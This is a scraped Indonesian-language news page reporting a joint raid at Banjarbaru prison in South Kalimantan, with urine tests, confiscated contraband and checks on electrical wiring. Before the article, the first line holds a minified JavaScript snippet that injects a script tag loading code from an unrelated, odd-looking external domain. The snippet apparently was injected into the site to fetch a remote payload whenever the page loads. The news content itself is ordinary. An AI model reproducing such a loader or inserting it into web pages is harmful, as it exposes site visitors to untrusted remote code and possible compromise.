(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Razia gabungan tim Satops Panal Permasyarakatan bentukan Kantor Wilayah (Kanwil) Kementrian Hukum dan HAM (Kemenkumham) Kalimantan Selatan dilalukan di Lapas Kelas IIB Banjarbaru, Selasa (2/11/2021) malam.
Kurang lebih 150 personel Satops Panal Permasyarakatan juga turut melibatkan TNI Polri hingga BNN diturunkan melakukan penggeledahan di tiga blok warga binaan permasyarakatan (WBP). Hasilnya, giat yang dilaksanakan kurang lebih selama dua jam itu membuat petugas masih saja mendapati berbagai barang terlarang di dalam ruang para Napi jalani masa hukuman.
Kepala Divisi Pemasyarakatan (Kadivpas) Kanwil Kemenkumham Kalsel, Sri Yuwono, mengungkapkan bahwa giat razia pada malam ini juga turut dilakukan tes urine secara acak terhadap para WBP. Tujuannya tak lain sebagai antisipasi dan deteksi dini.
“Kita adakan tes urine secara acak dan Alhamdulillah negatif semua. Bersamaan itu dilakukan penggeledahan oleh petugas,” katanya saat konferensi pers.
Baca juga : Polda Kalsel Beri Dampingan Psikologis Anak Yatim Terdampak Covid-19 dan Penyandang Disabilitas
Lebih lanjut ihwal hasil penggeledahan, Yuwono memaparkan temuan sejumlah barang terlarang. Mulai dari charger handphone, pemantik api hingga sajam modifikasi berupa sikat gigi dan sendok. Barang tersebut ujarnya akan langsung dimusnahkan.
“Untuk giat malam ini tidak ada temuan HP maupun narkoba. Semoga hal ini bisa ditingkatkan dan Lapas Banjarbaru bisa mewujudkan komitmen zero halinar,” beber Kadivpas.
Yuwono juga mengaku bahwa giat razia malam juga berfokus untuk menetralisir barang-barang instalasi listrik di dalam blok kamar WBP. Tentu saja hal ini demi mengantisipasi terulangnya peristiwa kebakaran yang terjadi di Lapas Tanggerang, Banten, yang menelan korban jiwa beberapa waktu lalu.
“Tapi tadi sudah saya cek dan memang sudah dirapikan. Kabel kabel yang tidak jelas sudah diamankan. Kita membatasi alat elektronik untuk menghindari korsleting listrik, sekaligus menekan biaya listriknya. Saya menilai Lapas Banjarbaru ini masih baru, jadi instalasi masih bagus. Semoga kejadian di Lapas Tanggerang tidak terulang karena sangat miris melihatnya,” harapnya.
Baca juga : Pelatih Kepala Edy Sutrisno Dikartu Merah, Persebaru Poin Penuh Laga Pembuka Liga 3
Di sisi lain, Kepala Lapas Banjarbaru, Amico Balalembang mengatakan, giat razia gabungan memang selalu rutin dilakukan. Pemusnahan barang temuan pada giat malam ini selanjutnya diinventarisir oleh petugasnya.
“Kami tetap berkomitmen tidak akan pernah lelah dan terus bersinergi untuk membersihkan barang- barang yang masuk Lapas yang berpotensi mengganggu keamanan dan ketertiban,” tuntasnya. (kanalkalimantan.com/al)
Reporter : al
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.